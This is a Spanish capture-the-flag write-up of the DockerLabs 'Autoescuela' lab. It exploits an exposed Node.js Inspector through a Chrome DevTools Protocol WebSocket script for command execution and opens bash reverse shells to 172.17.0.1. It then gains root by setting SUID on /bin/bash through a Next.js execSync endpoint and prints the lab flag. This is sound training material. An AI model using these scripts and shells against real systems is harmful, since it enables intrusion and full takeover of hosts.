
Dockerlabs - Autoescuela
- Hacking ético
- August 20, 2026
Table of Contents
LABORATORIO DOCKERLABS -> Autoescuela

Herramientas y técnicas
Herramientas
- Nmap
- Wscat
- Burp Suite
- Searchsploit
Técnicas
- Enumeración de procesos (
ps auxf) - Explotación del Node.js Inspector mediante WebSocket
- Remote Code Execution (RCE)
- Reverse shell (
nc -lvnp <puerto>/ Penelope) - Escalada de privilegios mediante SUID (
chmod u+s /bin/bash+bash -p)
Fase 1 Reconocimiento.
Ping
Una prueba básica, responde al ping 172.17.0.2. No siempre exitosa ni determinante ya que puede estar bloqueado el ICMP en la red.
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.022 ms
^C
--- 172.17.0.2 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1019ms
rtt min/avg/max/mdev = 0.022/0.026/0.031/0.004 ms
NMAP
Realizo un análisis inicial para ver puertos y servicios expuestos.
nmap -sC -sS -O -sV -n -p- --min-rate 5000 -T4 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-20 16:22 +0200
Nmap scan report for 172.17.0.2
Host is up (0.000034s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Autoescuela Hackcar - Inicio
9229/tcp open unknown
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, Help, Kerberos, RPCCheck, RTSPRequest, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe:
| HTTP/1.0 400 Bad Request
| Content-Type: text/html; charset=UTF-8
|_ WebSockets request was expected
La salida nos muestra un servicio http en el 8080 en el cual corre además node.js y el puerto 9229 nos muestra un servicio desconocido pero en el cual se ve la palabra clave WebSockets.
Esta situación da indicios de que está node.js corriendo con inspector o debbuger.
Fase 2. Enumeración
Inspeccionar desde navegador
El navegador muestra una página web de autoescuela muy sencilla, con un formulario de contacto, este puede ser un posible vector de ataque.
Listar directorios (dirb y ffuf)
Ni dirb ni ffuf mustran directorios ni endpoints interesantes.
Listar tecnologías (whatweb)
whatweb http://172.17.0.2:8080
http://172.17.0.2:8080 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, IP[172.17.0.2], Script, Title[Autoescuela Hackcar - Inicio], X-Powered-By[Express]
La cabecera X-Powered-By: Express identifica Express como framework/middleware utilizado por la aplicación, lo que apunta a una aplicación basada en Node.js.
Rastreo del servicio del puerto 9229
El objetivo es obtener la mayor información posible de este servicio para valorar posibles vulnerabilidades.
curl http://172.17.0.2:9229/json/list
[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a",
"devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a",
"faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
"id": "a3427b87-3ca2-471e-80fb-bd243d41734a",
"title": "/home/webuser/node_app/app.js",
"type": "node",
"url": "file:///home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a"
} ]
En este punto se aprecia información importante:
- UUID de sesión activa
- Ruta al código fuente
"url": "file:///home/webuser/node_app/app.js" - Endpoint Websocket del debbuger
ws://172.17.0.2:9229/a3427b87-3ca2-471e-80fb-bd243d41734a
Esto permite valorar el flujo:
172.17.0.2:9229 -> Node.js Inspector -> Node v22.22.2 -> /home/webuser/node_app/app.js
Conexión al socket
Con la herramienta wscat nos conectamos al socket proporcionado:
wscat -c ws://172.17.0.2:9229/f9ce20a3-01b4-4c48-822a-9cccdb6298cf
El lenguaje que utiliza Node Inspector es Chrome DevTools Protocol(CDP) y mediante el siguiente le decimos que queremos recibir eventos relacionados, concretamente de la siguiente forma:
{"id":1,"method":"Runtime.enable"}
Como el socket está a la escucha. Vamos al navegador y en la página rellenamos el formulario de contacto que facilitan. En la terminal se muestra en crudo la recepción del formulario:
{"method":"Runtime.consoleAPICalled","params":{"type":"log","args":[{"type":"string","value":"Mensaje recibido de pablo (pablo@email.com): prueba de info"}],
El flujo actual es: Formulario -> POST /contacto -> Node.js procesa los datos -> console.log(…) -> Node Inspector -> WebSocket -> wscat
Esto significa que los datos que se muestran pasan por el código de la aplicación, no simplemente información del navegador.
RCE
Se hace un script para la explotación: (Honestamente esto lo saqué del write up de otro usuario porque si no, no lo habría conseguido, pero aprender de los otros es parte del proceso)
const WebSocket = require('./node_modules/ws'); /*Cargar la librería ws, es WebSocket para Node.js (lo mismo que usar wscat -c ......)*/
const ws = new WebSocket('ws://172.17.0.2:9229/f9ce20a3-01b4-4c48-822a-9cccdb6298cf'); // Crea la conexión
ws.on('open', () => { // cuanto se establezca la conexión ejecuta esta función
const cmd = 'id'; // se define un comando Linux que queremos ejecutar
const expr = `process.mainModule.require('child_process').execSync('${cmd}').toString()`;
// process --> objeto global que representa el proceso actual
// mainModule --> modulo principal que inicia la app
// cargando modulo que permite a Node crear procesos
// execSync('${cmd}') ejecuta el comando
// toString() para que la salida la ponga en cadena de texto
// Lo anterior era la creación de la variable, pero aun no se ha enviado/ejecutado
ws.send(JSON.stringify({ // Esto equivale al envío anterior de wscat manual que hice yo.
// JSON.stringify lo convierte en JSON
id: 1,
method: 'Runtime.evaluate',
params: {
expression: expr,
includeCommandLineAPI: true
}
})); // con este JSON le decimos que utilice el runtime con la expresión que le hemos dado
});
ws.on('message', (d) => console.log(JSON.stringify(JSON.parse(d), null, 2))); // Cuando llegue un mensaje desde el servidor me lo muestras
ws.on('error', (e) => console.error(e));
Una vez ejecutado se obtiene la siguiente salida:
{
"id": 1,
"result": {
"result": {
"type": "string",
"value": "uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)\n"
}
}
}
Reverse shell
Ahora que sabemos que permite Usando la misma estructura del script anterior, en este caso introduciendo como comando la reverse shell.
const WebSocket = require('./node_modules/ws');
const ws = new WebSocket('ws://172.17.0.2:9229/f9ce20a3-01b4-4c48-822a-9cccdb6298cf');
ws.on('open', () => {
const cmd = 'bash -c "bash -i >& /dev/tcp/172.17.0.1/4646 0>&1"';
const expr = `process.mainModule.require('child_process').execSync('${cmd}').toString()`;
ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: {
expression: expr,
includeCommandLineAPI: true
}
}));
});
ws.on('message', (d) => console.log(JSON.stringify(JSON.parse(d), null, 2)));
ws.on('error', (e) => console.error(e));
Pero para ello primero pongo en escucha el puerto y posteriormente lanzo el script.
nc -lvnp 4646
La reverse shell ha funcionado y ya tengo una shell con el usuario webuser (Aunque no lo he documentado hago el proceso de update de la shell)
nc -lvnp 4646
listening on [any] 4646 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 55778
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
webuser@c6a44182da1d:/root/react_app$
Consulta del SUID
En este caso no se ha obtenido una información útil y que pueda ser explotada
webuser@c6a44182da1d:/root/react_app$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/passwd
/usr/bin/su
/usr/bin/mount
/usr/bin/chfn
/usr/bin/sudo
Consulta de usuarios
Tampoco listando los usuarios he tenido alguna información valiosa
webuser@c6a44182da1d:/root/react_app$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
webuser:x:1001:1001::/home/webuser:/bin/bash
Procesos
webuser@c6a44182da1d:/root/react_app$ ps auxf
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 4332 3492 ? Ss 14:19 0:00 /bin/bash /entrypoint.sh /bin/sh -c tail -f /dev/null
root 7 0.0 0.0 11272 5472 ? S 14:19 0:00 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
webuser 10 3.6 0.9 1127800 77544 ? Sl 14:19 20:36 \_ node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
webuser 91 0.0 0.0 2808 1772 ? S 23:20 0:00 \_ /bin/sh -c bash -c "bash -i >& /dev/tcp/172.17.0.1/4646 0>&1"
webuser 92 0.0 0.0 4760 3428 ? S 23:20 0:00 \_ bash -c bash -i >& /dev/tcp/172.17.0.1/4646 0>&1
webuser 93 0.0 0.0 5028 4140 ? S 23:20 0:00 \_ bash -i
webuser 100 0.0 0.0 3152 2076 ? S 23:21 0:00 \_ script /dev/null -c bash
webuser 101 0.0 0.0 5024 4240 pts/0 Ss 23:21 0:00 \_ bash
webuser 120 0.0 0.0 8288 4316 pts/0 R+ 23:44 0:00 \_ ps auxf
root 8 0.0 1.0 1203728 84064 ? Sl 14:19 0:00 npm exec next dev -p 3000 -H 127.0.0.1
root 29 0.0 0.0 2808 1768 ? S 14:19 0:00 \_ sh -c next dev -p 3000 -H 127.0.0.1
root 30 0.0 1.0 11627408 87612 ? Sl 14:19 0:00 \_ node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.0 2.3 34518740 191236 ? Sl 14:19 0:01 \_ next-server (v15.0.0-rc.1)
root 9 0.0 0.0 2736 1604 ? S 14:19 0:00 tail -f /dev/null
Análisis del servicio Next.js 15.0.0-rc.1 Se identifica un servicio Next.js 15.0.0-rc.1 ejecutándose como root en 127.0.0.1:3000, accesible únicamente de forma interna dentro del sistema.
Consulto el fichero /root/react_app/app/route.ts para ver si hay alguna información de interés dentro y en la línea 66 del código se muestra la siguiente variable:
#[...]
66 const execSyncMatch = part0.match(/execSync\(['"]([^'"]+)['"]/);
#[...]
Pruebo como actua ese POST y evidencia que se ejecuta como root, por lo que deduzco que el comando que se meta en ese POST tendrá permisos de root.
webuser@c6a44182da1d:/root/react_app/app$ curl -i -X POST http://127.0.0.1:3000/ --data "execSync('id')"
HTTP/1.1 500 Internal Server Error
vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
content-type: text/x-component
location: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk=
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk=;307;
Date: Fri, 21 Aug 2026 00:14:54 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root)"}
Aprovechando que el endpoint permite ejecutar execSync() dentro del proceso Next.js que se ejecuta como root, utilizo ese RCE para establecer el bit SUID sobre /bin/bash. Al ser /bin/bash propiedad de root y tener activado SUID, puede ejecutarse posteriormente conservando privilegios efectivos de root mediante bash -p
curl -s -X POST http://127.0.0.1:3000/ \
-H "Content-Type: text/plain" \
--data "execSync('chmod u+s /bin/bash')"; echo
Posteriormente con bash -p se ejecuta un bash conservando los privilegios
webuser@c6a44182da1d:/root/react_app/app$ bash -p
bash-5.2# who am i
bash-5.2# whoami
root
bash-5.2# cd /root/
bash-5.2# ls
react_app root.txt
bash-5.2# cat root.txt
DL{Z8Gc5NFYMrH3W4vv5ZWa}
Vía alternativa: Node.js Inspector
https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/easy/autoescuela
Una vía más directa habría sido aprovechar directamente el Node.js Inspector expuesto en 9229, sin crear un script CDP manual.
1. Conectarse al Inspector
node inspect 172.17.0.2:9229
2. Preparar listener en otra terminal
penelope -p 3110
3. Desde el Inspector, ejecutar una reverse shell
exec(“process.mainModule.require(‘child_process’).exec(’/bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/3110 0>&1"’)”)
Flujo:
Nmap → 9229/tcp ↓ Node.js Inspector ↓ node inspect ↓ child_process.exec() ↓ Reverse Shell como webuser
Además, searchsploit nodejs habría dado una pista directa:
NodeJS Inspector - Command Injection (Metasploit)
Por tanto, esta vía evitaba trabajar manualmente con WebSocket + CDP + Runtime.evaluate.


